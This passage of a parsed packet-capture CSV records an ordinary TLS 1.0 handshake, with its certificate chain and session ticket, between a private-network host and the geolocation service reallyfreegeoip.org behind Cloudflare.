\"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11266, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50104, \"\"dport\"\": 443, \"\"seq\"\": 2695327245, \"\"ack\"\": 3685359037, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 118, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=114 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:49  (1775728129) random_bytes=6b9ce586a0ba54300b072c1d1c8136dd96e7209f3e1aeb5a932d7665 sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=59 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:51.952194,34,TCP 188.114.96.0:443 -> 192.168.122.168:50104,188.114.96.0,192.168.122.168,443,50104,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3685359037 Ack=2695327368,5254007bb792525400577f94080045000028bae240004006282abc726000c0a87aa801bbc3b8dbaa1dbda0a76e885010005357de0000,RT.{..RT.W....E..(..@.@.(*.r`...z...........n.P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 47842, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10282, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50104, \"\"seq\"\": 3685359037, \"\"ack\"\": 2695327368, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:52.219863,35,TCP 188.114.96.0:443 -> 192.168.122.168:50104,188.114.96.0,192.168.122.168,443,50104,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=3685359037 Ack=2695327368,5254007bb792525400577f94080045000ae4bae3400040061d6dbc726000c0a87aa801bbc3b8dbaa1dbda0a76e8850180053629a000016030100430200003f030169f0fafc7bacd9f494db7f5817bd4b52c504dbdaff01bde8444f574e4752440000c0090000170000000000170000ff01000100000b000201000023000016030109f10b0009ed0009ea0003c0308203bc30820362a0030201020210163de5fff3d4000f134941222dd1965e300a06082a8648ce3d040302303b310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573310c300a06035504031303574531301e170d3236303431353230313533385a170d3236303731343231313135305a301e311c301a060355040313137265616c6c796672656567656f69702e6f72673059301306072a8648ce3d020106082a8648ce3d03010703420004931e01c12ee89c7111e40575e74664d7ad7e813b5015b72416d9f0eb5a355353a6c1bef495848ca516f1a078394958aeb6b5703ebbdb68cf761c08189bec30f8a38202633082025f300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604146155d9bfe471a929095f943ca5deeb082d70eeac301f0603551d230418301680149077923567c4ffa8cca9e67bd980797bcc93f938305e06082b0601050507010104523050302706082b06010505073001861b687474703a2f2f6f2e706b692e676f6f672f732f7765312f466a30302506082b060105050730028619687474703a2f2f692e706b692e676f6f672f7765312e63727430350603551d11042e302c82137265616c6c796672656567656f69702e6f726782152a2e7265616c6c796672656567656f69702e6f726730130603551d20040c300a3008060667810c01020130360603551d1f042f302d302ba029a0278625687474703a2f2f632e706b692e676f6f672f7765312f41344e4e37475f3576374d2e63726c30820104060a2b06010401d6790204020481f50481f200f0007700d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d92ffecf90000040300483046022100c9d0fbdbb2d7265bfac2c38a831a030bd3a68f8b07f184e387e68a3cc86000a5022100805517551ffb39daff04a5291ddd16af1b68e9ece90bba678837b1b731ee0ca3007500c8a3c47fc7b3adb9356b013f6a7a126de33a4e43a5c646f997ad3975991dcf9a0000019d92ffecd5000004030046304402205aa14039d8384289a6c36c5b87b5ffa796e6591ce26717666f073f7c4ecab6ee022011a885f35fb5a19fdeded3fedc71977501d1442bb0848274e2fbb7fdd851ac81300a06082a8648ce3d040302034800304502201fcb9744ae633a45e50e33b91dc29c8b3287dd7882b6df42e84802885d216d42022100a3e66ca99cd397b0a3e555c9fe27fcc2ab9876021c599535c5fbc39328abcd530002a33082029f30820225a00302010202107ff31977972c224a76155d13b6d685e3300a06082a8648ce3d0403033047310b300906035504061302555331223020060355040a1319476f6f676c65205472757374205365727669636573204c4c43311430120603550403130b47545320526f6f74205234301e170d3233313231333039303030305a170d3239303232303134303030305a303b310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573310c300a060355040313035745313059301306072a8648ce3d020106082a8648ce3d030107034200046fcd3afe6757474c21038540c2475dbb58470f40c15c1785c61937e7d57ced864b9b81d9d71a13a50a03f898c4c6e89eff10598f2c2698f5e62625bb0f02fa56a381fe3081fb300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100301d0603551d0e041604149077923567c4ffa8cca9e67bd980797bcc93f938301f0603551d23041830168014804cd6eb74ff4936a3d5d8fcb53ec56af0941d8c303406082b0601050507010104283026302406082b060105050730028618687474703a2f2f692e706b692e676f6f672f72342e637274302b0603551d1f042430223020a01ea01c861a687474703a2f2f632e706b692e676f6f672f722f72342e63726c30130603551d20040c300a3008060667810c010201300a06082a8648ce3d0403030368003065023100e702ab51d6f74395ce75fed11194d5cc40417a26bed80cf3322d3d90ae150f234812528f3e647913aff5a62c026e55b102302689cc680162e789ab7e17e814d6447ee34c490ebf6c806234b8b2a17e3a168850bca788a09f7d731eec52414deee25600037e3082037a30820262a00302010202107fe530bf331343bedd821610493d8a1b300d06092a864886f70d01010b05003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3233313131353033343332315a170d3238303132383030303034325a3047310b300906035504061302555331223020060355040a1319476f6f676c65205472757374205365727669636573204c4c43311430120603550403130b47545320526f6f742052343076301006072a8648ce3d020106052b8104002203620004f37473a7688b60ae43b835c581307b4b499dfbc161cee6de46bd6bd5611835ae40dd73f78991305aeb3cee857ca240763ba9c6b847d82ae792916a73e9b172399f299fa298d35f5e5886650fa1846506d1dc8bc9c773c88c6a2fe5c4abd11d8aa381ff3081fc300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302300f0603551d130101ff040530030101ff301d0603551d0e04160414804cd6eb74ff4936a3d5d8fcb53ec56af0941d8c301f0603551d23041830168014607b661a450d97ca89502f7d04cd34a8fffcfd4b303606082b06010505070101042a3028302606082b06010505073002861a687474703a2f2f692e706b692e676f6f672f677372312e637274302d0603551d1f042630243022a020a01e861c687474703a2f2f632e706b692e676f6f672f722f677372312e63726c30130603551d20040c300a3008060667810c010201300d06092a864886f70d01010b050003820101001842bb0f06d6038796e33f63810f09a4a168480c3922739ef8cb4e2d7f31e99fe709a1d2360f84ac79eb10e9b0eb6ab67b0b7d1d74b89b65ab682a2c2cdd42fdc6710bcf872df76bc80f6e057d56e2235858f925ba16854790d79620fd0609b68ce02eae55d17975352c315b3f65bccd9c8742a791b19b1e5e8ef11abbca2d47f0ac90637e86bfd6e46bd3d6d3018e058a6758b8fff7a6840d491b505b3f3a0b250bf2128b5cd379578d3682ceff2611b7a9f11a99edad823ec8116eebd33c1c1c38c0419ae15e53cf3e152057ebeee23f48a5f1be19d1016a230c0c1dfb3f2fa2b5bdea6ea31b46ce2e0267af332698aad54bd2a936c5263b5b0f8b1e88c1e516030100700c00006c03001d2096cd9e335905c4b27c2cdabc35fe39fb9d864c0ddbddbf42c704f73cbbdc3b340046304402204933388e5fae2dc584013e150cfc52ce5598bf19566088dbec780be2293bc8d602205dfe3f1b326a718f27d071d9c8557a3f71b073d41bc00eee0b7996b20be62cfe16030100040e000000,\"RT.{..RT.W....E.\n...@.@..m.r`...z...........n.P..Sb.......C...?..i...{......X..KR........DOWNGRD...\t.......................#.....\t...\t..\t....0...0..b........=.......IA\"\"-..^0\n..*.H.=...0;1.0\t..U....US1.0...U.\n..Google Trust Services1.0\n..U....WE10..\n260415201538Z.\n260714211150Z0.1.0...U....reallyfreegeoip.org0Y0...*.H.=....*.H.=....B.........q...u.Fd..~.;P..$....Z5SS...........x9IX...p>..h.v.....0....c0.._0...U...........0...U.%..0\n..+.......0...U.......0.0...U......aU...q.)\t_.<....-p..0...U.#..0....w.5g......{..y{...80^..+........R0P0'..+.....0...http://o.pki.goog/s/we1/Fj00%..+.....0...http://i.pki.goog/we1.crt05..U....0,..reallyfreegeoip.org..*.reallyfreegeoip.org0...U. ..0\n0...g.....06..U.../0-0+.).'.%http://c.pki.goog/we1/A4NN7G_5v7M.crl0....\n+.....y............w..\tU;.Oz....o.O.....^.U&....r.EK..............H0F.!.......&[...................<.`...!..U.U..9....).....h.....g.7..1....u.........5k.?jz.m.:NC..F...9u.................F0D. Z.@9.8B...l[......Y..g.fo.?|N.... ...._........q.u..D+...t.....Q..0\n..*.H.=....H.0E. ...D.c:E..3.....2..x...B.H..]!mB.!...l.......U..'....v..Y.5....(..S...0...0..%..........w.,\"\"Jv.].....0\n..*.H.=...0G1.0\t..U....US1\"\"0 ..U.\n..Google Trust Services LLC1.0...U....GTS Root R40..\n231213090000Z.\n290220140000Z0;1.0\t..U....US1.0...U.\n..Google Trust Services1.0\n..U....WE10Y0...*.H.=....*.H.=....B..o.:.gWGL!..@.G].XG.@.\\....7..|..K.......\n.........Y.,&...&%....V...0..0...U...........0...U.%..0...+.........+.......0...U.......0.......0...U.......w.5g......{..y{...80...U.#..0....L..t.I6.....>.j....04..+........(0&0$..+.....0...http://i.pki.goog/r4.crt0+..U...$0\"\"0 ......http://c.pki.goog/r/r4.crl0...U. ..0\n0...g.....0\n..*.H.=....h.0e.1....Q..C..u......@Az&....2-=....#H.R.>dy....,.nU..0&..h.b...~....D~.LI..l.b4...~:..P.....}s..RAM..V..~0..z0..b.........0.3.C.....I=..0\n.\t*.H..\n.....0W1.0\t..U....BE1.0...U.\n..GlobalSign nv-sa1.0...U....Root CA1.0...U....GlobalSign Root CA0..\n231115034321Z.\n280128000042Z0G1.0\t..U....US1\"\"0 ..U.\n..Google Trust Services LLC1.0...U....GTS Root R40v0...*.H.=....+...\"\".b...ts.h.`.C.5..0{KI...a...F.k.a.5.@.s...0Z.<..|.@v;...G.*...js..r9.)...._^X.e...e......s..j/.........0..0...U...........0...U.%..0...+.........+.......0...U.......0....0...U.......L..t.I6.....>.j....0...U.#..0...`{f.E\n...P/}..4....K06..+........*0(0&..+.....0...http://i.pki.goog/gsr1.crt0-..U...&0$0\"\". ....http://c.pki.goog/r/gsr1.crl0...U. ..0\n0...g.....0\n.\t*.H..\n...........B........?c..\t..hH.9\"\"s...N-.1...\t..6...y.....j.{.}.t..e.h*,,.B..q...-.k..n.}V.#XX.%...G... ..\t.....U.yu5,1[?e....B.....^.....-G...c~....k.......gX.....\nI.P[?:.%....\\.yW.6...&.........>..n..<..8.A..^S.>. W...?H......j#....?/....n..F...g.3&...K..6.&;[..........p...l... ...3Y...|,..5.9...L\n...B...<..;4.F0D. I38._.-...>...R.U...V`...x..);... ].?.2jq.'.q..Uz?q.s......y....,..........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2788, \"\"id\"\": 47843, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 7533, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50104, \"\"seq\"\": 3685359037, \"\"ack\"\": 2695327368, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 25242, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 67, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=63 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:22:52  (1777400572) random_bytes=7bacd9f494db7f5817bd4b52c504dbdaff01bde8444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=23 ext=[<TLS_Ext_ServerName  type=server_name len=0 |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 2545, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSCertificate  msgtype=certificate msglen=2541 certslen=2538 certs=[(960, [X.509 Cert. Subject:/CN=reallyfreegeoip.org, Issuer:/C=US/O=Google Trust Services/CN=WE1]), (675, [X.509 Cert. Subject:/C=US/O=Google Trust Services/CN=WE1, Issuer:/C=US/O=Google Trust Services LLC/CN=GTS Root R4]), (894, [X.509 Cert. Subject:/C=US/O=Google Trust Services LLC/CN=GTS Root R4, Issuer:/C=BE/O=GlobalSign nv-sa/OU=Root CA/CN=GlobalSign Root CA])] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 112, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerKeyExchange  msgtype=server_key_exchange msglen=108 params=<ServerECDHNamedCurveParams  curve_type=named_curve named_curve=x25519 pointlen=32 point=b'\\\\x96\\\\xcd\\\\x9e3Y\\\\x05\\\\xc4\\\\xb2|,\\\\xda\\\\xbc5\\\\xfe9\\\\xfb\\\\x9d\\\\x86L\\\\r\\\\xdb\\\\xdd\\\\xbfB\\\\xc7\\\\x04\\\\xf7<\\\\xbb\\\\xdc;4' |> sig=<_TLSSignature  sig_alg=None sig_len=70 sig_val=b\\\"\"0D\\\\x02 I38\\\\x8e_\\\\xae-\\\\xc5\\\\x84\\\\x01>\\\\x15\\\\x0c\\\\xfcR\\\\xceU\\\\x98\\\\xbf\\\\x19V`\\\\x88\\\\xdb\\\\xecx\\\\x0b\\\\xe2);\\\\xc8\\\\xd6\\\\x02 ]\\\\xfe?\\\\x1b2jq\\\\x8f'\\\\xd0q\\\\xd9\\\\xc8Uz?q\\\\xb0s\\\\xd4\\\\x1b\\\\xc0\\\\x0e\\\\xee\\\\x0by\\\\x96\\\\xb2\\\\x0b\\\\xe6,\\\\xfe\\\"\" |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 4, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHelloDone  msgtype=server_hello_done msglen=0 |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:52.219978,36,TCP 192.168.122.168:50104 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50104,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2695327368 Ack=3685361785,525400577f945254007bb7920800450000287690400080062c7cc0a87aa8bc726000c3b801bba0a76e88dbaa28795010201457de0000,\"RT.W..RT.{....E..(v.@...,|..z..r`.......n...(yP. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30352, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11388, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50104, \"\"dport\"\": 443, \"\"seq\"\": 2695327368, \"\"ack\"\": 3685361785, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:52.229028,37,TCP 192.168.122.168:50104 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50104,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2695327368 Ack=3685361785,525400577f945254007bb79208004500008d7691400080062c16c0a87aa8bc726000c3b801bba0a76e88dbaa2879501820145843000016030100251000002120f72182de96c8e0e00c0fd5dbe197faa33b6af101acc66642585e31a05116303f1403010001011603010030531021d6cddaa985979226244631ca4efed1bb72dd2a5714d2b7970ea77c33464b45f961d817d13df943b3fb838a19c8, .!..............;j....fBX^1.Q.0?,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 141, \"\"id\"\": 30353, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11286, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50104, \"\"dport\"\": 443, \"\"seq\"\": 2695327368, \"\"ack\"\": 3685361785, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22595, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 37, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=33 exchkeys=<Raw  load=b' \\\\xf7!\\\\x82\\\\xde\\\\x96\\\\xc8\\\\xe0\\\\xe0\\\\x0c\\\\x0f\\\\xd5\\\\xdb\\\\xe1\\\\x97\\\\xfa\\\\xa3;j\\\\xf1\\\\x01\\\\xac\\\\xc6fBX^1\\\\xa0Q\\\\x160?' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<Raw  load=b'S\\\\x10!\\\\xd6\\\\xcd\\\\xda\\\\xa9\\\\x85\\\\x97\\\\x92&$F1\\\\xcaN\\\\xfe\\\\xd1\\\\xbbr\\\\xdd*W\\\\x14\\\\xd2\\\\xb7\\\\x97\\\\x0e\\\\xa7|3FKE\\\\xf9a\\\\xd8\\\\x17\\\\xd1=\\\\xf9C\\\\xb3\\\\xfb\\\\x83\\\\x8a\\\\x19\\\\xc8' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:52.229052,38,TCP 188.114.96.0:443 -> 192.168.122.168:50104,188.114.96.0,192.168.122.168,443,50104,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3685361785 Ack=2695327469,5254007bb792525400577f94080045000028bae5400040062827bc726000c0a87aa801bbc3b8dbaa2879a0a76eed5010005357de0000,RT.{..RT.W....E..(..@.@.('.r`...z.......(y..n.P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 47845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10279, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50104, \"\"seq\"\": 3685361785, \"\"ack\"\": 2695327469, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:52.454410,39,TCP 188.114.96.0:443 -> 192.168.122.168:50104,188.114.96.0,192.168.122.168,443,50104,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=3685361785 Ack=2695327469,5254007bb792525400577f94080045000132bae640004006271cbc726000c0a87aa801bbc3b8dbaa2879a0a76eed5018005358e8000016030100ca040000c60000fd2000c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b1403010001011603010030ad0326dc683e28af701b2e02f3346f293b8d24986e8cf6555db24b3f3df455cbb6bb71defa517201f554b5e8d2a322ae,\"..&.h>(.p....4o);.$.n..U].K?=.U...q..Qr..T....\"\".\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 306, \"\"id\"\": 47846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10012, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50104, \"\"seq\"\": 3685361785, \"\"ack\"\": 2695327469, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 202, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=198 lifetime=64800 ticketlen=192 ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": 